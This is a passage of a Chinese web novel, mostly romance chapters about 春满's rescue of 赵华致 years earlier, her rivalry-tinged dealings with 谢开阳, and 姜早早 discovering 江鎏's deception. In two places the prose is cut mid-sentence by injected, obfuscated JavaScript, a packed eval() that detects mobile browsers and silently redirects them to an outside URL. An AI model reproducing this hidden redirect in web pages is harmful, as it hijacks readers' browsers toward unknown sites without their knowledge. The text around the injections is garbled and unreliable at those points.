春满心说我脸上表情很明显吗,嘴上却不诚实地下意识反驳:“没……” “还要跟我客气到什么时候?”赵华致似乎是生气了,大力把车钥匙拔出来,钥匙碰撞挂饰发出滴溜当啷的声响,衬得他这句自言自语的嘀咕听不真切。 感情是需要沟通来维系的。赵华致父母的感情非常好,便是因为他们懂得这个道理。 不论大事小事,他们再忙也不会吝啬沟通。 而赵华致逐渐感觉到,自己的不坦诚,让他和春满看似靠近的关系,越来越疏远。 假以时日,只会不停的恶性循环。 想明白这点的赵华致把车钥匙拿高些,让她看上面挂着的小拇指粗细的求生哨,一瞬不瞬地盯着他,吐字清晰地问:“看到这个还没想起来?春满,你是一点也不记得我,对吗?” ………… 春满第一次和赵华致产生交集,是在大一暑假。 忘记从什么时候起,她的课余时间全部花在天上飞的鸟上。翻阅一本本科普图鉴,到公园、山里、河滩,分辨飞鸟的种类,观察他们的外形、习性。着了魔似的,哪怕在路上走着,每每看到有鸟飞过,能驻足盯着看好久。 暑假伊始,她便跟着一头扎进山里。 那不过是一个普通的傍晚,下着雨,天有些阴,能见度比平时要低。 春满和同伴从山上下来,在半山腰时听到了有人喊救命的声音,音量低到很容易让人怀疑是错觉。 同伴身体不适,着急下山,认为春满听错了,还说雨随时有可能下起来,还是快点下山才好。 这是一座野山,没有政府开发,也不会有人巡逻。真有人遇险,除非凑巧,短时间内不会被人发现。 春满在一番心理斗争后,作别同伴,循着大致方向靠过去,拨开交错的树枝查看,发现不远处有个躺靠在树上的男人时,心脏惊得突突直跳。 春满缓了会儿,才战战巍巍地过去查看情况。发现对方在动,春满心稍微安了些。 “你、你你你没事吧?” 手电筒的光在男生脸上照了照,脏兮兮的,仍难掩五官轮廓的俊朗立体。 春满有一点没骗人,她大一入学时听说过赵华致,并且在校园官博账号上看过他的照片。 春满越看越觉得这个狼狈的“假尸体”就是赵华致,越觉得像便越想确定自己这一判断,因此手电筒的光照得久了点。 直到赵华致抬手抓住手电筒发光端,有气无力地说:“我右腿应该是骨折了。” 春满才慌张地集中注意力施救。 后来春满才知道,赵华致那个暑假在家里公司实习,因公正的管理手段,损害到一部分人的利益,遭到对方绑架要挟。 赵华致用碎玻璃割断绳子,原本想跳窗,但通风窗太高,他即便能垫着集装箱爬上去,往外跳的时候估计要摔断腿,索性伪造出自己跳窗逃跑的假象,自己躲在门后,趁人不备跑掉。 但没等跑远,对方很快反应过来,晃着手电筒追他。 山里下了雨,赵华致深一脚浅一脚,因为不熟悉路,眼看对方追上来时,失足从山坡上滚下去。 这才被春满捡到。 他右腿的确是骨折了,春满包里备着急救的东西,帮他做了简单止血固定后,便背着他下山。 起初赵华致是不愿让她背的,山路本就不好走,春满纤细的四肢力量堪忧,但春满只是淡淡地上下打量他一眼,没给他争论的机会,连拖带拽地把人弄到背上,扎着马步深吸一口气便顺利把人背起来。 赵华致沉默时间之久,让春满怀疑他是不是晕过去了。 这种时候还是保持意识清醒比较好。春满“喂”了好几声,才听到他的回应:“我差点被你吓晕。” “你应该庆幸我力气比较大,否则你就在山上待着吧。”春满怕他精力不支昏过去,下山这一路都在跟他说话,为了刺激他回应的意识,说话的情绪不算和气,“我听着你说话时气息挺足的,怎么求救时声音跟蚊子似的,要不是我耳朵尖,好奇心重,就错过了。” “我听到你跟同伴的聊天声,我声音太大,你们两个女生未必敢过来。”赵华致盯着电筒在路面上晃来晃去的光点,觉得眼晕,合着眼皮休息了会儿,说。 春满想了想,觉得他的思路没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502995|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,便没再说什么。 春满背着一个比自己重的人,走得要慢很多,期间停下了休息了好几次。 夜不知不觉又暗了,雨也越下越大,几声闷雷衬得整座野山神秘又恐怖。 春满在一次脚滑险些带着赵华致一起滚到山坡下时,惊魂甫定地从脖子上摘了个求生哨给他,并说:“如果我们真摔下去,谁也找不到谁,你就吹哨子吧。求生哨信号跟摩斯电码一样,长码吹三秒,短码在一秒内。两码之间间隔三秒,重复信号之间间隔三十秒。一声长码是打招呼。三声短码是求救。三声短码接三声长码再接三声短码则是紧急求救。声音能传得更远,也能省些力气。” “给我了你不用吗?” “我包上还挂了一个。” 赵华致哦了声,把哨子收好:“谢谢。” 春满没在意,只说:“你一路跟我说了太多句谢谢,可以不用说了。” 春满的手机在山上时摔了,没法开机使用。赵华致的手机早被人搜走。两人下到山脚,到了当地村民居住的地方才借到手机。 春满把赵华致放下,便退到了暗处,并且把防晒衣的护脸拉到最高,尽可能地降低自己的存在感。 赵华致和急成一团的家里人联系上,后又联系医院,等搁下手机扭头时,背自己下来的春满已经不见了踪影。 一旁的村民说春满在路上丢了东西回去找,可赵华致等家里人到达后,让他们派人循着上山的路找春满,得到的结果是没看到他描述的女孩。 对方留下的便只有那个求生哨,和一本掉在村民家门口、记满笔记的随笔本。 就像灰姑娘留下的那只水晶鞋一样,随笔本成为赵华致找人的唯一途径。 赵华致在随笔本上林林总总的鸟类观测相关的笔记内容中,找到了“羽蒙”这个疑似是名字的信息。 ………… “有人教过我,求生哨信号跟摩斯电码一样,长码吹三秒,短码在一秒内。两码之间间隔三秒,重复信号之间间隔三十秒。”回忆中的时间瞬息万变,看似数月几年的往事在此刻不过数秒而已,赵华致把玩着手里这个有些年岁的求生哨,说,“一声长码是打招呼。三声短码是求救。三声短码接三声长码再接三声短码则是紧急求救。此外还有一些指令哨,比如‘前进’是——” 没给他继续说明的机会,春满直截了当地打断道:“我记得那天。” 那年自己给他科普的声音与此刻耳畔赵华致的声音重叠,然后一同淡去。 眼前的暴雨随之消失,浑身上下湿漉漉的黏腻感也不在了,春满声音低而稳,她略一顿,自欺欺人地补充,“但当时天太黑,我没看清你的长相,事后我高烧住院,静养了很久,对你长相的记忆便更模糊了。抱歉。” 赵华致轻笑了下,不愿拆穿她般,顺从道:“行,怪我长得大众脸。” 春满后半句当然是假话。 十九岁,又不是九岁,那晚有太多独特的细节加重她对这段经历的记忆。 她回家后连续几天高烧,姜早早陪她解闷时,把网上美妆博主塌房带出企业高管丑闻的八卦说给她听,左一句赫京右一句赵华致的。 春满当时虽不知网上一系列杰作是赵华致在商场初露锋芒的整顿杰作,但他作为赫京太子爷,从入学起便是央大风云人物。样貌气质、天赋绩点,乃至他那个阶层习以为常的阔绰作风,轻而易举地让他和寻常学生隔出距离。 春满很有自知之明地没有跨越阶层的幻想,也不指望自己凭借“救命恩人”的身份获取报酬或者特权。 甚至当春满得知赵家人千方百计地找那晚施以援手的女孩时,三缄其口,对家人对朋友主观地隐瞒了这段经历。 春满在校园里的形象,和全副武装爬野山的状态是完全不同的。后者跟个野小子似的,虽算不上邋遢,但用不修边幅来形容也不为过。而前者则是清新、柔和,手指不沾阳春水的文艺仙女。 她想隐藏实在是容易。 “我有找过你,想跟你说声谢谢。”赵华致一瞬不瞬地盯着春满,仿佛要分辨此刻的她和那晚时有什么变化般,看得理所当然,看得光明正大,“所以你还要继续跟我假客气吗?你不累我都累了。” 春满到嘴边的那句“不用放在心上”硬生生咽回去,这段时间她跟赵华致说的最多的便是“谢谢”和“抱歉”,估计比赵华致长这么大听到的都要多。 春满抿了抿唇,改口:“你当时伤得重吗?” 赵华致听到想听的,弯了下唇,说:“腿伤得比较重,打了三个月的石膏,其他都是皮外伤。” “那就好。” 春满腿上手机还停留在预定餐厅的页面,自己方才要做的事却好像发生在上个世纪一般。 这顿饭还吃吗? “快去探望章园长吧。”往事被挑开,关系便随之不同。赵华致把春满说给他的话,如数奉还,“等你有时间了,也给我个表达感谢的机会。” 15.第 15 章 15 住院部楼下的水果店内,春满挑好果篮,付款时收到满郁发来的消息。 没头没尾的,只有一张男生的照片。如果不知道满郁在传媒行业工作,身边多是这类白净俊朗的男生,春满肯定会把照片当成网图。 春满提着果篮,边往外走,边未雨绸缪地表明:“我不相亲。” 满郁消息回得快:“想的美。我男朋友,帅吗?过生日的时候带你见见。” 春满差点忘记满郁跟社会上绝大多数当妈的不一样,回了个竖大拇指的表情,收起手机,折回住院部。 章啸行的病房在顶层,春满从一楼进电梯时,里面已经有两个人。谢开阳西装笔挺,一旁跟着他最信任的的特助,两人原本在说话,在春满进来后,谢开阳示意特助停了话茬。 春满没吱声,要去的那层按钮早已被按亮,她盯着顶部不断跳跃的楼层数安静地等。 中间楼层时,有人上上下下,春满为了避让退到角落,站在谢开阳的斜后方。 到顶层时,电梯内再度只剩下最初的三个人,春满的活动空间才宽敞些。 电梯门开,春满没急着出去,打算等对方先走。 谢开阳显然也是这样想的,他巍然不动地站在那,甚至抬手挡着收拢进去的电梯门,微一偏头,对春满说:“你先。” 春满手指无意识地抠了下果篮的藤编提手,迈步出去,连句谢谢也没说,头也没回地走了。 站在章啸行病房外,春满做了次深呼吸才敲开门,脸上露出温暖的笑。 下一秒,春满被从病房里出来的家属撞了个满怀。对方克制着脸上的愠色,正要道歉,但抬眼看到春满,神情中的怒意加重,不淡定的眼底翻涌着明晃晃的厌恶。 “你爸休息了吗……”春满一句话没说完。 章娴指着春满,叫嚣:“你怎么还敢来!都是因为你!我爸要跟我妈离婚!” 春满连人带果篮一起被推回走廊,水果在地板上骨碌碌滚动着,她满脸疑惑。 晚出电梯的谢开阳刚好走到附近,伸手揽了下春满的肩膀才避免她撞到墙上。 “没事吧?”谢开阳沉声关心。 春满轻摇头,微微站直。 章娴不是蛮横的人,刚刚那一下纯属气急。此刻脸上闪过一瞬的自责,很快被遭背刺的愤怒占据。 住院部病房安静,稍有点动静便被无限放大。屋里章娴的新婚丈夫和钱敏闻声出来查看情况。 “小娴,不要闹。”钱敏试图制止。 章娴拧着眉跺脚:“妈,你就别瞒我了,我爸跟你说离婚时我都听见了。我拿她当朋友,她却想当我小妈!” 章娴丈夫是天谢的职员,自然认得谢开阳,注意到他站在春满身后关系不一般的样子,也及时安抚章娴:“别让大家看笑话,有什么话进来说。” 左右两边的病房都有人出来,有个病人手背上还挂着吊瓶。钱敏示意:“先进屋吧。” 谢开阳从特助手里把恢复成原貌的果篮接过来,让他留在外面,自己跟进了病房。 春满完全处在状况外,没听说章啸行和钱敏要离婚的事,也不明白自己怎么变成了第三者。 章啸行躺在病床上,不方便活动,早对外面的情形急得不安,好在人都进来了。 “春满来了。原本不想影响到工作,所以对外瞒着住院的事。”章啸行比春满大一旬,但没有长辈和领导的说教架子,心思淳朴简单,一紧张了就喜欢碎碎念,正念着,注意到站在春满斜后方的男人,“这位是……?” 春满微侧头,发现谢开阳不知怎的也跟进来,手里拎着个廉价果篮,礼貌地回:“章先生好,我姓谢,是春满的朋友。” 章娴的丈夫上前,热络地介绍:“爸,这是我工作的老板,负责您手术的谭主任就是他帮忙推荐的。” 章啸行一家人瞬间醒神,纷纷端正了对谢开阳的态度。 春满并不知道这个细节,看一眼谢开阳,接果篮时,轻声道了句谢。 谢开阳没久待,手一空便告辞:“你们是春满的朋友,我顺手而已。我今天碰巧路过,还有事,便不多打扰了。” 亲疏关系,一句即清。 他的视线在章娴脸上短暂停留,好像要追讨方才那场闹剧的责任人似的,移到春满身上时,多了耐心和平和的态度:“今晚有雨,坐一会儿便早点回家,我让司机在楼下送你。” 春满喉结微滚,应了声“好”。 经过谢开阳这个小插曲,章娴针对春满的情绪被转移很多。章啸行问“小娴刚刚在外面吵什么”时,一众人才想起先前的矛盾。 “是小娴误会了。”钱敏为难地解释,“你爸跟我提离婚,和春满无关,他只是不想因为工作和身体拖累我。” “爸,你怎么能这么想呢,一家人就是要互相分担啊。如果今天躺在病床上的是我,你们肯定也不会不管我啊。”章娴无语道。 章啸行觉得这些事被孩子知道面上挂不住,说:“我被你妈说了一顿,已经打消这个念头了。我是病人,听不得别人训我。倒是你,你还不快点跟春满道歉。” 章娴嘴角微动,虽拉不下面子,但知错就改,很认真地对春满说:“对不起,是我没搞清楚状况。” “没事。只是被推了下,不严重。”春满淡淡地笑了下。 从病房出来已经是半小时后,谢开阳的特助等在电梯口,表明是特意在等她,随后一起搭电梯下楼。 似乎真如气象局预报的一样,今晚有一场大暴雨。 赵华致坐在车里,查看天气软件,试图确定暴雨在几点到来。 受大一暑假那段经历的影响,他格外喜欢暴雨,更遑论上次暴雨时,他拥有了一次向春满献殷勤的机会,两人关系因此拉近许多。 但如果能够选择,他宁愿这个夏天日日艳阳,夜夜宁静,再无一滴雨水降落。 余光中有人朝停车场走来,赵华致暂停观察天空的那片云,低头望去。 是结束探病的春满。 在赵华致按响喇叭提醒她自己在这里前,只见春满在一位年轻精英男的陪同下,走向了斜对角的那辆宾利。 宾利后座的车门打开,谢开阳出现在赵华致的视野中。 赵华致不知道他们说了什么,只见谢开阳拉开主驾的门,而春满绕到车子另一侧,要开副驾的门。 赵华致顾不得捡掉在脚垫上的手机,径自开门下车。 “春满!” 听到有人喊自己,春满把刚拉开的副驾车门关住,闻声看去。 “和园长聊完了?” “你一直在等我吗?”春满错愕,“抱歉,该跟你说一声的,你不用特意让我蹭车。” “接了个电话会议,刚刚结束。”赵华致没邀功,这种等人的戏码他长这么大没做过,并不擅长掩饰,理由找的也蹩脚,“你还有东西在我车上。” 今天发生了太多事,件件对春满冲击力都很大。她一时恍惚,适才记起:“我现在就取走。” 赵华致挡了挡她的路,说:“我不是这个意思。你身体刚恢复,不回家休息吗?” “正准备回。”但回去之前,春满和谢开阳有事有聊,她自然知道赵华致和她回家顺路,也愿意让她蹭车,但于情于理都不方便让赵华致等自己和谢开阳聊完再同行。 按照往常,春满不会坐谢开阳的车,就像那次送到度假村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507659|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒店的甜品,春满唯独没碰他那份。 但得知谢开阳在章啸行手术的事上出了力,春满但凡有点良心,都不能强硬偏执地保持冷漠。 谢开阳旁观了一会儿,走上前:“赵总,麻烦你了,把春满的东西交给我吧。我送她回家。” 赵华致眉心微挑,似乎没理解这话的意思。 春满朝赵华致走近些,说:“我跟你去拿东西。” 赵华致才收敛被谢开阳激出的审视和敌意,带春满回到自己的车边。 他把手提袋从车里拿出来,在春满接过后却没立刻松手。 春满茫然地抬头,听见赵华致问:“春满,你又放了我一次鸽子。” 春满喉间发涩,也觉得事态发展得出乎意料,处在这种面临抉择的境地,她撇下谢开阳跟赵华致走影响估计更麻烦。 春满思索片刻,试着打商量:“你不是要感谢我当年救你的事吗?要不用这个抵消?” “你想的倒是美。”赵华致哼声,抬手摘掉落在她发间的花瓣,拿在手里仔细看了看没有丢掉,“一共鸽了我多少次,我都给你记着。你趁早做好准备,我随时可能跟你讨回来。” 春满自知理亏,不争辩,应了声:“好。在还清这笔债前,只要是工作以外的时间,你的事我优先解决,可以吗?” “说到就要做到。”赵华致满意了,朝谢开阳那望了眼,也不再觉得排斥,甚至松开手提袋,极其宽容地示意春满,“快过去吧,今晚有暴雨,记得早点回家。” 春满走出几步,回头看了赵华致一眼,最后什么也没说,正回脸朝谢开阳走去。 “上车吧。”谢开阳给她开了车门。 宾利率先发动,驶离停车场区域,谢开阳透过倒车镜看眼身影渐远的男人,问春满:“你和他很熟?” 春满没说话,低头整理装着自己杂物的手提袋,半晌才搪塞地回了句:“邻居。” 谢开阳借着岔路口等红灯时,探究地在她脸上扫了眼。 三岁看老,但时间和社交给人的雕琢是鲜明深刻的。谢开阳必须承认,自己很多时候并不了解她。 车子汇入拥挤车流,谢开阳打破安静的相处模式:“你开一下面前的储物格,里面是给妈的生日礼物,你拿给她。” - “你和谢开阳不愧是死对头,处处都能撞上。”新开业的酒吧包间内,江鎏调侃完赵华致说今晚不不来又突然过来的迷惑行为,说起正事,“这回又看中了同一个研发团队,这可怎么办呢,团队的leader已经表明和天谢合作的意向。不得不说,谢开阳今年势头真的猛,比你多几年的盐没白吃。” 江鎏撞了撞赵华致搁在桌上的酒杯,无声地鼓励他下次交锋时扳回来。 但递到嘴边的酒还没喝到嘴里,江鎏瞥见赵华致过于平静的侧脸和慢条斯理拿着酒杯看似是研究杯壁纹路的动作,觉得他有些反常。 江鎏把杯子搁回去,刚要关心几句,只听赵华致对电话那头的特助说:“公司要拍的那支公益宣传片能协调到明天拍摄吗?团队负责人是女儿奴,你以公司的名义邀请他带着女儿去探班。拍摄宣传片的女艺人是小姑娘的偶像,她一定喜欢,你记得安排父女俩和艺人拍合照。” 江鎏意外地微挑了下眉,觉得这场仗还有的打。 赵华致继续安排:“他们团队的研究宣扬有机天然成分,保护人与自然,而我们推出的零残忍品牌,公益片主题同样涉及拒绝动物实验的理念,两者非常契合,没有不联手的理由。让公关部利用舆论给团队施压,逼他们选择赫京。” 赵华致结束通话后,江鎏冲他竖了竖大拇指:“他抢你女人,你就抢他生意。火药味很浓啊。” 16.第 16 章 16 等进包间送酒水的服务生出去,解决完心里疙瘩的赵华致看向江鎏,问起:“你那边,有需要帮忙的地方吗?” 江鎏仰躺在皮座靠背上,歪着头,斜了赵华致一眼,知道他问的是自己在姜早早面前败露的事,笑了笑,语气轻飘飘地反问:“干嘛?你还想去那谁面前替我求情?” “也不是不能。”赵华致觉得这不算难事。 江鎏啧了声,慢吞吞坐起来些,说:“看来是我以为错了,你跟她关系进展不错啊,可喜可贺。”他抿了口酒,继续说,“不过还是算了。我这边能有现在这种结果,跟你的事没多大关系,真论起来,我自己作的死比较大。” 赵华致深深地觑了江鎏一眼,似乎并不意外他惹出什么篓子。 - 江鎏身上不止从姜早早口中套有关春满的信息这一重罪,这是实话。 那天姜早早从医院离开,坐在车里思考是直接杀到这位僚机面前,还是只在线上兴师问罪,线上发泄看不出对方的反应,一个人跳脚没劲儿,但直接冲到线下,她还没在现实中和他接触过,第一次见面便开骂又有几分尴尬。 赵华致信得过的僚机,想必也是有头有脸的人物,即便这人只是赵华致的助理,那也不是小角色。 如果她太把自己当回事,最后尴尬的只有自己。 恰好这时,手机日程提醒她有个酒局。姜早早身为项目中的编剧,最烦这种被一群男人指指点点的场合,但此刻的她正愁没地方发泄,很痛快地发动车子去了。 饭局上不少生面孔,其中有一个男人姜早早印象最深刻,他一双桃花眼薄薄的开成扇形,扶住服务生不小心碰倒的酒瓶时,非但没有责备,反而好声好气地逗笑了几句,姜早早听不清说了什么,只见那名服务生羞红了脸颊。 一个好好的正经餐厅,他往那一坐,格调完全变了。 姜早早对这种风流浪子气质的男性一向不感冒,以至于那张本不错的俊脸都变得索然无味。 她无聊地打了个哈欠,下意识拿出手机给游戏搭子发消息吐槽,刚点开输入框记起自己还没向他讨说法。 可怎么讨呢? 被他耍了这么久,要怎么解决才解气呢? 姜早早思来想去,觉得自己假装不知情,伺机骗回来似乎不错。 他不是当僚机吗?那就让他帮的全是倒忙。 不过,实施这一计划前,她得先去探探春满对赵华致的态度,以免自己成了这段感情的恶人。 正想着,手机震动,是游戏搭子发来的消息:“还在医院?” “没,在一个无聊的饭局。” 消息发送成功的那一刻,姜早早听到那个桃花眼男人的手机几乎同一时间响起收到新消息的提示音。 男人垂头看手机,似乎是察觉到姜早早的注视,抬眸看来。 姜早早猝不及防地被逮了个正着,不过她没慌,假装只是看了眼他身后的屏风,不着痕迹地垂下视线。 这时手机收到了游戏搭子的回复:“没有帅哥吗?” “没有。”姜早早面不改色地发送。 “早早认识江总吗?”邻座一位制片人突然搭话,“你之前说试镜的男演员演霸总时气质太油,觉得江总如何,他可是实实在在的总裁。” 姜早早嘴唇一碰,刚要说话。 江鎏慢条斯理地摆弄着自己的酒杯,抢先道:“姜老师在娱乐圈看惯了帅气小鲜肉,大概我这样的长相在她眼中不过中人之姿。” 姜早早心说这人话里的敌意怎么这般大,刚刚对女服务生可不是这个态度,嘴上却维持着疏离的客气:“江总谦虚。你的长相明明帅得有目共睹。” 江鎏眯着眼笑,仿佛看穿姜早早在心里翻了个白眼似的,举了举半满的酒杯:“多谢夸奖,我提一杯,姜老师随意。” 哪有让投资人自己喝酒的道理,姜早早在制片人眼神的催促下,拿起自己那杯,一饮而尽,随后她把杯子倒了倒,以表诚意:“我也喝了。” “好酒量。”江鎏称赞。 无聊的酒局持续了两个钟头还没有结束的兆头,姜早早借着上卫生间的机会提前开溜,等到地下车库,遥遥地看见江鎏单手抄兜靠在自己的车前盖上玩手机。 姜早早走近些,江鎏仿佛才注意到她,慢悠悠地放下手机,站直些:“这是你的车?” 他一副不知情的模样,姜早早淡淡地打量他一眼,问:“你是代驾?” “你觉得可能吗?”江鎏眼底的笑让姜早早有种被嘲笑的错觉,感觉不舒服。 姜早早莫名其妙:“谁知道呢。” 姜早早的手机响起,没等接通,姗姗来迟的代驾随之出现在视野里。对方和姜早早确认了订单信息,接过车钥匙坐进了主驾驶座。 江鎏把路让出来,却没站远,姜早早开后座车门时,听见他毫不见外地开口:“方便让我蹭个车吗姜老师?来的时候没开车,这会儿不好打车。” 江鎏给的理由十分正当。 “嗯?”姜早早怀疑自己听力出现问题,看他不像是开玩笑。一个项目中投资方最大,最没有话语权的便是编剧,即便如此,姜早早仍不太想载他。但对方总归没做什么太冒犯的事,姜早早出于成年人的体面,还是问了句:“你去哪里?” 江鎏报了地址。 姜早早哦了声,冷淡地说了声:“不顺路。” “……”江鎏挑了挑眉,直言不讳:“姜老师对我敌意很大?我们之前有过节吗?” 姜早早往车里钻的动作顿住,低低地笑了下,牙尖嘴利不遑多让地回复:“看来江总经常跟人发生冲突,不然为什么会这么问。” “我对长得漂亮的女生一向温柔。”江鎏走近些,话题绕回去,“姜老师,真不能捎我一段?” 姜早早觉得自己遭到了职场性/骚扰,如果不是在饭桌上听邻座的制片人对江鎏的人品和情商赞不绝口,她此刻恐怕已经坐上车头也不回地走了。 加之考虑到接下来几个月甚至更久,和他在项目中低头不见抬头见。 姜早早把江鎏这一系列让人看不透的表现理解成没有边界感,最终松了口,说:“上车吧。” 顿了下,她补充:“你坐副驾。” 江鎏完全不介意姜早早这一安排,坐进副驾后,看到安全带上迪士尼元素的护肩带,以及仪表盘上一排卡通手办,心情不错地打趣:“姜老师很有少女心。” 姜早早搪塞地嗯了声,佯装很忙的样子注意力落在手机上。 她接着先前和游戏搭子的聊天内容,继续聊。大概是她去卫生间的时间,对面人问她:“酒局还没结束?” 姜早早当下才看到回复:“没意思,提前撤了。” 消息刚发送成功,只听副驾江鎏的手机响了一声。 姜早早茫然地循声望去,记起这已经是第二次巧合了。总不能真这么巧吧。 从她这角度,只能看到江鎏低头看手机的侧脸,或许他的自我评价没错,除了风流的表象,的确是个很温柔的人。就比如他此刻回消息的模样,笑眼盈盈,缠绕着缱绻柔情。 而姜早早认识的游戏搭子除了跟她互怼,和温柔这两个字完全不搭边。 姜早早手机微震,她回神,看到游戏搭子回的消息:“自己回去,还是有朋友来接?” 平日里消息不要钱似的往外发,如今却因为弄清了对方接近自己的目的,意识到自己的愚蠢和可笑,让本该愉悦放松的聊天有种懒得应付的疲惫感。 她得尽快确认春满对赵华致的心思,好制定针对这个大骗子的策略。 姜早早收起手机,决定冷他一冷,不准备回复。 她抱臂靠在皮座里,刚合住眼,手机接连震了几下。 “人呢?” “被拐走了?” “我报警了啊。” 江鎏微微侧头,用余光看到姜早早睁开眼看了看手机,连屏幕都没解锁,重新合上了眼皮。 江鎏脑袋朝后偏的幅度大了些,打量她数秒,问:“身体不舒服?” 姜早早为了不产生无谓的交流,顺势回答:“有点,估计是酒喝得急了。” 江鎏没说什么,收回视线坐正身子。姜早早心说,这下他不会没话找话瞎聊了吧,下一秒,听到江鎏对代驾说:“前面药店那个路口停一下,我去买盒醒酒药。” 代驾犹豫了一番,毕竟这辆车谁是车主谁是蹭车的,他已然了解,但看形势,醒酒药买来是给谁吃,也一目了然。 代驾斟酌后,最终停了车。 “我很快回来。”也不知道江鎏这句话是冲谁说的。 姜早早缓缓睁眼时,江鎏已经带上车门,径自走向路边的药店。 姜早早站在车边吹着风等了会儿,拿到江鎏买回来的解酒胶囊和矿泉水,对他的印象突然改观了。 姜早早在心里为自己先前武断的揣测感到惭愧,况且她没醉酒到需要吃药的地步。 路边有露天烧烤摊,喷香烤肉混着孜然香飘过来,姜早早在饭局上没吃几口的胃此刻开始叫嚣,她循着美食的方向望了望,食指大动。 “我吹了会儿风舒服多了,不过还是要谢谢你买的药。”姜早早朝不远处的苍蝇馆子一指,说:“吃烧烤吗?我请你。” “好啊。”江鎏不假思索地答应。 让代驾把车停好后自行离开,两人一前一后走向烧烤摊。 双面印的菜单,覆了层油乎乎的透明膜。江鎏丝毫没抵触,入乡随俗地坐下后,拿过姜早早递来的菜单点东西。 姜早早平时很喜欢研究吃的,所以看江鎏点单的架势便猜到他也是懂吃的。 “两瓶啤酒。”姜早早冲拿着本子手写的服务生说完,问坐对面的江鎏,“你喝吗?” 烧烤店的方桌还没成年人的膝盖高,个高腿长的男人往那一坐,很是突兀。江鎏却没表现出丝毫不自在,被问到,很随意地说:“陪你。” “那就四瓶吧。”姜早早看了江鎏一眼,对服务生说。 这样的摊子翻桌快,菜上得也快。姜早早没扛太久,便大快朵颐起来,等吃得半饱,嘴才空下来聊几句天。 “我发现你这个人跟我想的不一样。”姜早早放松下来,随之打开心扉。 江鎏往后靠了靠,笑道:“竟然偷偷地研究我?是喜欢我这款,还是不喜欢我这款?” 姜早早无语且冷淡地瞥了他一眼:“一刻不自恋浑身难受是吗?” 江鎏被怼了也生气,畅快地笑了两声,没正形地反问:“怎么?自恋犯法啊?” 姜早早依稀觉得他说话的语气耳熟,眼下没顾不上深想,手背上沾了油想擦一下,正满桌子找纸。 这桌的餐巾纸用完,江鎏收敛说笑的神色,说了句“我去拿”起身走向柜台,姜早早百无聊赖地独自吃了两粒毛豆,拿出手机对着一桌杯盘狼藉拍了张照,发给被自己冷落好一阵的游戏搭子。 江鎏的手机随手放在桌上。消息刚发送成功的那刻,他的手机屏幕亮起,接连响了两声。 姜早早对别人的手机没有探究欲,纯属无意瞥了眼。谁知,这一眼便没能移开。 江鎏手机屏幕通知栏上显示这两条消息,照片是用文字提醒的,“图片”。另一条文字消息和姜早早方才编辑的内容一模一样—— “两个人的战况。” 江鎏拿着沓餐巾纸,想提前结账时发现手机没带,等折回来便见姜早早一脸凝重地拿起他的手机。 江鎏隐约预感到什么,暗叫糟糕,想阻拦时,已经迟了。 姜早早神情从不甚在意到惊诧,再到愤怒,一连串的变化好不精彩,随后淬着冷意的眼刀飞过来,像是想把赵华致活剥了:“很好。接连被你戏耍了两次。江总真是让我大开眼界。” 明明还没入秋,江鎏却觉得风吹在脸上有些冷。 ………… 经过这个小插曲,姜早早已经不需要当骗子让江鎏见识一下人间险恶,但仍然决定去探一下春满的口风,方便判断自己无意中被利用的过错有多严重。 以及伺机负荆请罪,坦白从宽。 回家后做了番心理建设,姜早早拨通春满的电话,佯装出平日里跳脱八卦的语气:“慢慢,你跟赵华致到哪一步了?下午我走后,你们没发生点什么?护士可都说了,觉得他对你很是上心。” 春满及时遏制她的发散:“没有的事,别瞎脑补。” “你真的对他没有感觉?”姜早早语气认真些。 窗外乌云压低,潮湿笼罩,但迟迟没有雨水落下。春满的情绪被不上不下的吊着,说难过没有,说轻松不是,一时很难分明。 春满到家后,把谢开阳给的古董手链收好,百无聊赖地坐了会儿,直到姜早早打来电话,她才边听对面闲扯,边起身给房间做大扫除。 被姜早早如此直接地询问,春满动作顿了下,不假思索地回答:“不合适,不是一路人,所以没想过这个问题。” 大一暑假那件事发生后,春满通过各种途径得知赵华致在找自己,甚至满郁都听说了。 回到学校里,寻人之事被提到的频率更高了,但大学城学生众多,春满只要想,便能很轻易地藏好。 她从很小起便清晰地认识到阶层的差异,那辆追不上的豪车,把她拦在大院外的警卫员,让满郁对有着陈世美行径的前夫不发表一句坏话的六百万封口费。 她们像蝼蚁,有权有势的人随便吐口气,吹到她们身上便是蝴蝶效应般的海啸。 春满救人是本能,提前离开是有意为之。 只是没料到他找起人来如此执着。 手机传来低电量的提示音,春满停下吸尘器后,拿着手机去充电。 “谁比谁高贵。在我眼里,像你这种知世故却不世故的善良打着灯笼都难找,配谁都绰绰有余。”姜早早在电话那头无脑吹捧。 春满被逗笑,不得不承认,没有人不喜欢好听的话。 继续没意义地闲扯了会儿,她才结束通话。 有好友拜托她帮忙给家里孩子的手工比赛投票,春满点开朋友圈找到链接把票投了,退出时,看到赵华致发了条逗猫视频。 她连着看了三遍,眨眼忘记还在大扫除的事,以及方才偏复杂的思绪,手比脑子快地给动态点了赞。 春满对动物没有抗拒力,过去赵华致的每一条动态都有她点赞和回复的痕迹,可如今…… 这个赞有些惹眼,像她故意刷存在感似的。 没等春满把赞取消,通知栏里弹出赵华致发来的消息。 “到家了吗?” 春满手悬在屏幕上良久,才点开输入框,编辑:“回来有一会儿了。” 赵华致:“那就好。记得医生叮嘱,好好休息,最近几天别逞强运动。” 